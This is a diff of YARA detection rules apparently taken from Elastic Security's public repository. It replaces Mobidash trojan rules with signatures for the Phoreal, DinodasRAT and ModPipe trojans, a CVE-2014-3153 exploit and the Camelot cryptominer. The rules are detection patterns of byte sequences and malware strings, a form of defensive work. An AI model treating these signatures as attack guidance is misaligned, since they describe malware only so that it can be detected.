 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_D0Ad9C82 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Phoreal_66E91De3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Windows Trojan Phoreal (Windows.Trojan.Phoreal)"
 		author = "Elastic Security"
-		id = "d0ad9c82-718f-43d1-a764-9be83893f9b8"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
-		logic_hash = "8351cb61f5b712c65962e734a7c29271fa4805720e14b6badc9bc1c0364778f8"
+		id = "66e91de3-a510-4a64-b03d-5385ceb32360"
+		date = "2022-02-16"
+		modified = "2022-04-12"
+		reference = "https://www.elastic.co/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Phoreal.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de"
+		logic_hash = "c68131fd5e0272d3d473db387a186056a38e6611925ae448d5b668022e6e163a"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "ef6b2f9383c137eb4adfe0a6322a0e5d71cb4a5712f1be26fe687144933cbbc8"
+		fingerprint = "36c9150137b3d65ea6127abe54571f7346c5ebffd1966bf0a9ff99406fe5aa24"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 41 54 49 89 CC 55 48 89 D5 53 48 89 FB 48 8D 64 24 F8 48 8B 07 FF 90 F8 00 }
+		$a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00 30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00 31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00 2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00 45 00 35 00 7D 00 }
+		$a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00 33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00 32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00 37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }
+		$a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39 34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }
+		$b1 = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E 00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_E2C89606 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dinodasrat_1D371D10 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Linux Trojan Dinodasrat (Linux.Trojan.DinodasRAT)"
 		author = "Elastic Security"
-		id = "e2c89606-511c-403a-a4eb-d18dc7aca444"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "1d371d10-b2ae-4ea0-ad37-f5a5a571a6fc"
+		date = "2024-04-02"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
-		logic_hash = "64cb8d8ec04a53f663b216208279afba3c10f148fe99822f9a45100a4f73ed28"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_DinodasRAT.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bf830191215e0c8db207ea320d8e795990cf6b3e6698932e6e0c9c0588fc9eff"
+		logic_hash = "933e78882be1d8dd9553ba90f038963d1b6f8f643888258541b7668aa3434808"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "91c51f6af18389f2efb0032e0b775df68f34b66795c05623dccb67266c04214b"
+		fingerprint = "a53bf582ad95320dd6f432cb7290ce604aa558e4ecf6ae4e11d7985183969db1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -56878,56 +61131,64 @@ rule ELASTIC_Linux_Trojan_Mobidash_E2C89606 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 13 49 89 C7 4C 89 E6 48 89 DF FF 92 B8 00 00 00 31 C9 4C 89 FA 4C }
+		$s1 = "int MyShell::createsh()"
+		$s2 = "/src/myshell.cpp"
+		$s3 = "/src/inifile.cpp"
+		$s4 = "Linux_%s_%s_%u_V"
+		$s5 = "/home/soft/mm/rootkit/"
+		$s6 = "IniFile::load_ini_file"
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_82B4E3F3 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Modpipe_12Bc2604 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Windows Trojan Modpipe (Windows.Trojan.ModPipe)"
 		author = "Elastic Security"
-		id = "82b4e3f3-a9ba-477c-8eef-6010767be52f"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "12bc2604-d3fe-40d6-8a7c-5bd53e403453"
+		date = "2023-07-27"
+		modified = "2023-09-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L61-L78"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8c91f85bc807605a3233d28a5eb8b6e1cf847fb288cbc4427e86226eed7a2055"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_ModPipe.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "0a26de1b2fb48d65cde61b60c0eba478da73a3eeaeb785d1b2d6095eccbe34e2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a01f5ba8b3e8e82ff46cb748fd90a103009318a25f8532fb014722c96f0392db"
+		fingerprint = "30ff9f28cec84496ae7c809ec0401bc10573c690d93f3fb3865b5a913508795e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 C6 74 2E 89 44 24 0C 8B 44 24 24 C7 44 24 08 01 00 00 00 89 7C }
+		$a1 = "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0)" fullword
+		$a2 = "/robots.txt" fullword
+		$a3 = "www.yahoo.com/?"
+		$a4 = "www.google.com/?"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_601352Dc : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2014_3153_1C1E02Ad : FILE MEMORY CVE_2014_3153
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Linux Exploit Cve 2014 3153 (Linux.Exploit.CVE-2014-3153)"
 		author = "Elastic Security"
-		id = "601352dc-13b6-4c3f-a013-c54a50e46820"
+		id = "1c1e02ad-eb06-4eb6-a424-0f1dd6eebb2a"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L80-L98"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5714e130075f4780e025fb3810f58a63e618659ac34d12abe211a1b6f2f80269"
-		logic_hash = "adeeea73b711fc867b88775c06a14011380118ed85691660ba771381e51160e3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2014_3153.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "64b8c61b73f0c0c0bd44ea5c2bcfb7b665fcca219dbe074a4a16ae20cd565812"
+		logic_hash = "42e9de7f306343c4c3e7fd02b414b429faacb837fb2910f98f0c1519da40074c"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "acfca9259360641018d2bf9ba454fd5b65224361933557e007ab5cfb12186cd7"
+		tags = "FILE, MEMORY, CVE-2014-3153"
+		fingerprint = "a0a82cd15713be3f262021d6ed6572a0d4763ccfd0499e6b9374764c89705c2a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -56935,27 +61196,27 @@ rule ELASTIC_Linux_Trojan_Mobidash_601352Dc : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F6 74 14 48 8B BC 24 D0 00 00 00 48 8B 07 48 8B 80 B8 00 00 00 }
+		$a = { 55 48 89 E5 48 83 EC 40 48 89 7D C8 48 8D 4D D0 48 8B 45 C8 BA 24 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_Ddca1181 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_9Ac1654B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "ddca1181-91ca-4e5d-953f-be85838d3cb9"
+		id = "9ac1654b-f2f0-4d32-8e2a-be30b3e61bb0"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L100-L117"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "076d4ac69f6bc29975b22e19d429c25ef357443ec8fcaf5165e0a8069112af74"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "5de1f43803f3d3b94149ea39ed961e7b9a1ad86c15c5085e2e0a5f9c314e98ff"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c8374ff2a85f90f153bcd2451109a65d3757eb7cef21abef69f7c6a4f214b051"
+		fingerprint = "156c60ee17e9b39cb231d5f0703b6e2a7e18247484f35e11d3756a025873c954"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -56963,28 +61224,27 @@ rule ELASTIC_Linux_Trojan_Mobidash_Ddca1181 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 84 C0 75 1E 8B 44 24 2C 89 7C 24 04 89 34 24 89 44 24 0C 8B 44 }
+		$a = { CD 41 C1 CC 0B 31 D1 31 E9 44 89 D5 44 31 CD C1 C9 07 41 89 E8 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_65E666C0 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_Dd167Aa0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "65e666c0-4eb7-4411-8743-053b6c0ec1d6"
+		id = "dd167aa0-80e0-46dc-80d1-9ce9f6984860"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L119-L137"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "19f9b5382d3e8e604be321aefd47cb72c2337a170403613b853307c266d065dd"
-		logic_hash = "2d2bec8f89986b19bf1c806b6654405ac6523f49aeafd759b7631d9587d780c8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L20-L37"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "88be4fbb337fa866e126021b40a01d86a33029071af7efc289a8c5490d21ea8a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "92b7de293a7e368d0e92a6e2061e9277e7b285851322357808a04f8c203b20d0"
+		fingerprint = "2642e4c4c58d95cd6ed6d38bf89b108dc978a865473af92494b6cb89f4f877e2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -56992,28 +61252,28 @@ rule ELASTIC_Linux_Trojan_Mobidash_65E666C0 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 4C 8B 44 24 08 48 89 DF 48 8B 14 24 48 8D 64 24 18 5B 4C 89 E6 48 }
+		$a = { E7 F2 AE 4C 89 EF 48 F7 D1 48 89 CE 48 89 D1 F2 AE 48 89 C8 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_494D5B0F : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_B25398Dd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "494d5b0f-09c7-4fcb-90e9-1efc57c45082"
+		id = "b25398dd-33cc-4ad8-b943-cd06ff7811fb"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L139-L157"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7e08df5279f4d22f1f27553946b0dadd60bb8242d522a8dceb45ab7636433c2f"
-		logic_hash = "6ddb94f9f44fe749a442592d491343a99bd870ea2d79596631d857516425e72b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L39-L57"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6fb3b77be0a66a10124a82f9ec6ad22247d7865a4d26aa49c5d602320318ce3c"
+		logic_hash = "e7fdb3c573909e8f197417278a6d333cc3743b05257d81fed46769b185354183"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e3316257592dc9654a5e63cf33c862ea1298af7a893e9175e1a15c7aaa595f6a"
+		fingerprint = "6bdcefe93b1c36848b79cdc6b2ff79deb04012a030e5d92e725c87e520c15554"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57021,28 +61281,28 @@ rule ELASTIC_Linux_Trojan_Mobidash_494D5B0F : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 18 00 00 00 40 04 00 00 01 5B 00 00 00 3A 00 00 00 54 04 00 00 05 A1 00 }
+		$a = { 04 76 48 8B 44 07 23 48 33 82 C0 00 00 00 48 89 44 24 50 49 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_Bb4F7F39 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_6A279F19 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "bb4f7f39-1f1c-4a2d-a480-3e1d2b6967b7"
+		id = "6a279f19-3c9e-424b-b89e-8807f40b89eb"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L159-L177"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
-		logic_hash = "33e8fcbb29cc38b4a8365845eb3a1488e13be964f7383b28a158a98fb259acb4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L59-L77"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5b01f72b2c53db9b8f253bb98c6584581ebd1af1b1aaee62659f54193c269fca"
+		logic_hash = "91e3c0d96fe5ab9c61b38f01d39639020ec459bec6348b1f87a2c5b1a874e24a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b7e96ff17a19ffcbfc87cdba3f86216271ff01c460ff7564f6af6b40c21a530b"
+		fingerprint = "1c0ead7a7f7232edab86d2ef023c853332254ce1dffe1556c821605c0a83d826"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57050,27 +61310,28 @@ rule ELASTIC_Linux_Trojan_Mobidash_Bb4F7F39 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 75 1F 48 8D 64 24 08 48 89 DF 5B 48 89 EA 4C 89 E1 4C 89 EE 5D }
+		$a = { 89 F3 89 D6 48 83 EC 30 48 89 E2 64 48 8B 04 25 28 00 00 00 48 89 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_8679E1Cb : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_4E7945A4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "8679e1cb-407e-4554-8ef5-ece5110735c6"
+		id = "4e7945a4-b827-4496-89d8-e63c3141c773"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L179-L196"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "6055ac4800397f6582e60cdf15fa74584986e1e7cf49a541b0ec746445834819"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L79-L97"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b7504ce57787956e486d951b4ff78d73807fcc2a7958b172febc6d914e7a23a7"
+		logic_hash = "aebc544076954fcce917e026467a8828b18446ce7c690b4c748562e311b7d491"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7e517bf9e036410acf696c85bd39c720234b64aab8c5b329920a64f910c72c92"
+		fingerprint = "bb2885705404c7d49491ab39fa8f50d85c354a43b4662b948c30635030feee74"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57078,27 +61339,28 @@ rule ELASTIC_Linux_Trojan_Mobidash_8679E1Cb : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 1C 89 F0 5B 5E 5F 5D C3 8D 76 00 8B 44 24 34 83 C6 01 8D 7C }
+		$a = { 89 E5 48 81 EC A0 00 00 00 48 89 7D F0 48 8B 7D F0 48 89 F8 48 05 80 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_29B86E6A : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_29C1C386 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "29b86e6a-fcad-49ac-ae78-ce28987f7363"
+		id = "29c1c386-c09c-4a58-b454-fc8feb78051d"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L198-L215"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "dd5f44249cc4c91f39a0e7d0b236ebeed8f78d5fcb03c7ebc80ef1c738b18336"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L99-L117"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fc73bbfb12c64d2f20efa22a6d8d8c5782ef57cb0ca6d844669b262e80db2444"
+		logic_hash = "1a3a9065cbb59658c06dfbfc622ccd2e577e988370ffe47848a5859f96db4e24"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5d7d930f39e435fc22921571fe96db912eed79ec630d4ed60da6f007073b7362"
+		fingerprint = "2ad8d0d00002c969c50fde6482d797d76d60572db5935990649054b5a103c5d1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57106,28 +61368,27 @@ rule ELASTIC_Linux_Trojan_Mobidash_29B86E6A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 2E 10 73 2E 10 02 47 2E 10 56 2E 10 5C 2E 10 4E 2E 10 49 2E 10 }
+		$a = { 65 20 62 72 61 6E 63 68 00 00 00 49 67 6E 6F 72 69 6E 67 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_E3086563 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_25B63F54 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "e3086563-346d-43f1-89eb-42693dc17195"
+		id = "25b63f54-8a32-4866-8f90-b2949f5e7539"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L217-L235"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
-		logic_hash = "5545f7ce8fa45dc56bc4bb5140ce1db527997dfaa1dd2bbb1e4a12af45300065"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L119-L136"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "640ffe2040e382ad536c1b6947e05f8c25ff82897ef7ac673a7676815856a346"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8fc223f3850994479a70358da66fb31b610e00c9cbc3a94fd7323780383d738e"
+		fingerprint = "c0bc4f5fc0ad846a90e214dfca8252bf096463163940930636c1693c7f3833fa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57135,28 +61396,28 @@ rule ELASTIC_Linux_Trojan_Mobidash_E3086563 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 48 8B 4C 24 08 49 8B 55 00 48 39 D1 75 16 48 8D 64 24 10 }
+		$a = { 0F 6F 39 66 41 0F 6F 32 66 4D 0F 7E C3 66 44 0F D4 CB 66 45 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mobidash_2F114992 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_73E2373E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "2f114992-36a7-430c-8bd9-5661814d95a8"
+		id = "73e2373e-75ac-4385-b663-a50423626fc8"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mobidash.yar#L237-L255"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
-		logic_hash = "f93fe72e08c8ec135cccc8cdab2ecedbb694e9ad39f2572d060864bb3290e25c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Camelot.yar#L138-L156"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fc73bbfb12c64d2f20efa22a6d8d8c5782ef57cb0ca6d844669b262e80db2444"
+		logic_hash = "2377da6667860dc7204760ee64213cba95909c9181bd1a3ea96c3ad29988c9f7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2371fc5ba1e279a77496328d3a39342408609f04f1a8947e84e734d28d874416"
+		fingerprint = "6ce73e55565e9119a355b91ec16c2147cc698b1a57cc29be22639b34ba39eea9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57164,209 +61425,202 @@ rule ELASTIC_Linux_Trojan_Mobidash_2F114992 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { DF 4C 89 F6 48 8B 80 B8 00 00 00 48 8D 64 24 58 5B 5D 41 5C }
+		$a = { 45 F8 48 83 7D F8 00 74 4D 48 8B 55 80 48 8D 45 A0 48 89 D6 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Dcsyncer_425579C5 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Camelot_B8552Fff : FILE MEMORY
 {
 	meta:
-		description = "MGIxY2/05+FBDTur++++0OUs"
+		description = "Detects Linux Cryptominer Camelot (Linux.Cryptominer.Camelot)"
 		author = "Elastic Security"
-		id = "425579c5-496f-4e08-a7e3-bf56e622aa21"
-		date = "2021-09-15"
-		modified = "2022-01-13"
+		id = "b8552fff-29a9-4e09-810a-b4b52a7a3fb4"
